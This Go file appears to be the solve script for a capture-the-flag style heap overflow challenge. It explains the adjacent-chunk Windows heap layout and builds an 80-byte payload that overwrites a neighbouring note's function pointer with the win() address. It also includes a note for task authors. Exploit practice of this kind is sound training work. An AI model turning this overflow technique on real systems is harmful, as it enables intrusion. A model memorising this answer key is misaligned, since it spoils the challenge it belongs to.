/*
Solve script for heap_overflow.exe: adjacent-chunk NT Heap overflow.

Heap layout (both Notes allocated from the same private heap, no LFH):

  HEADER(16)  note[0].buf[24]  note[0].action(8)
  HEADER(16)  note[1].buf[24]  note[1].action(8)
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  Each HEADER is a 16-byte _HEAP_ENTRY, XOR-encoded against _HEAP.Encoding.
  We overwrite it as part of the overflow, but since we never call HeapFree
  on note[1] after the overflow (just directly call note[1]->action), the
  corrupted header is never read back by the allocator.

The W command writes hex-decoded bytes starting at note[id]->buf with NO
bounds check. Overflowing 72 bytes from note[0]->buf reaches note[1]->action:

  note[0]->buf     [0..23]   24 bytes -- fill with padding
  note[0]->action  [24..31]   8 bytes -- overwrite (any value, not called)
  note[1] HEADER   [32..47]  16 bytes -- corrupted, doesn't matter (not freed)
  note[1]->buf     [48..71]  24 bytes -- overwrite (any value, not called via action)
  note[1]->action  [72..79]   8 bytes -- WIN: write win() address here

  Total: 80 bytes; win() address at bytes 72-79 (little-endian).

After the overflow: C 1 calls note[1]->action(note[1]->buf) -> win().

win() address comes from PE export table (no ASLR to defeat -- or if running
remotely, parse from the provided binary the same way examples/heap_lfh does).

NOTE FOR TASK AUTHORS: the key empirical invariant to verify is that notes[0]
and notes[1] are actually adjacent with no free chunk between them. With
exactly two 32-byte allocations and a fresh HeapCreate(0,0,0), this holds
reliably on build 10.0.26100. Check with `winpwn heap <pid> -walk` and look
for an adjacent busy pair at distance 0x30 (48 bytes = 16 header + 32 data).
The _HEAP_ENTRY header in between is XOR-encoded but the overflow just
overwrites it with garbage -- that's fine because we never HeapFree note[1].
*/
package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in %q", line)
	}
	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_overflow.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() @ 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_overflow.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil { // "heap_overflow ready"
		log.Fatalf("RecvLine: %v", err)
	}

	// Step 1: allocate two notes consecutively -> they will be adjacent
	for _, text := range []string{"A note0", "A note1"} {
		if err := tube.SendLine([]byte(text)); err != nil {
			log.Fatalf("SendLine %s: %v", text, err)
		}
		resp, err := tube.RecvLine()
		if err != nil {
			log.Fatalf("RecvLine: %v", err)
		}
		addr, _ := parseAddr(resp)
		fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
		_ = addr
	}

	// Step 2: overflow note[0]->buf into note[1]->action
	//
	// Payload layout (80 bytes total):
	//   bytes  0-23: 'A'*24 (fills note[0]->buf)
	//   bytes 24-31: 'B'*8  (overwrites note[0]->action -- value doesn't matter)
	//   bytes 32-47: 'C'*16 (overwrites note[1]'s _HEAP_ENTRY header -- doesn't matter, not freed)
	//   bytes 48-71: 'D'*24 (overwrites note[1]->buf -- doesn't matter, just read as string)
	//   bytes 72-79: win()  (overwrites note[1]->action -- THIS is what we call)
	//
	payload := bytes.Repeat([]byte{0x41}, 24) // note[0]->buf
	payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)  // note[0]->action
	payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // note[1] header
	payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1]->buf
	payload = append(payload, winpwn.P64(winAddr)...)             // note[1]->action

	fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
	overflow := "W 0 " + winpwn.Enhex(payload)
	if err := tube.SendLine([]byte(overflow)); err != nil {
		log.Fatalf("SendLine W: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil { // "OK"
		log.Fatalf("RecvLine W resp: %v", err)
	}
	fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")

	// Step 3: call note[1]->action -> win()
	fmt.Printf("[+] calling C 1...\n")
	if err := tube.SendLine([]byte("C 1")); err != nil {
		log.Fatalf("SendLine C: %v", err)
	}

	tube.Interactive()
}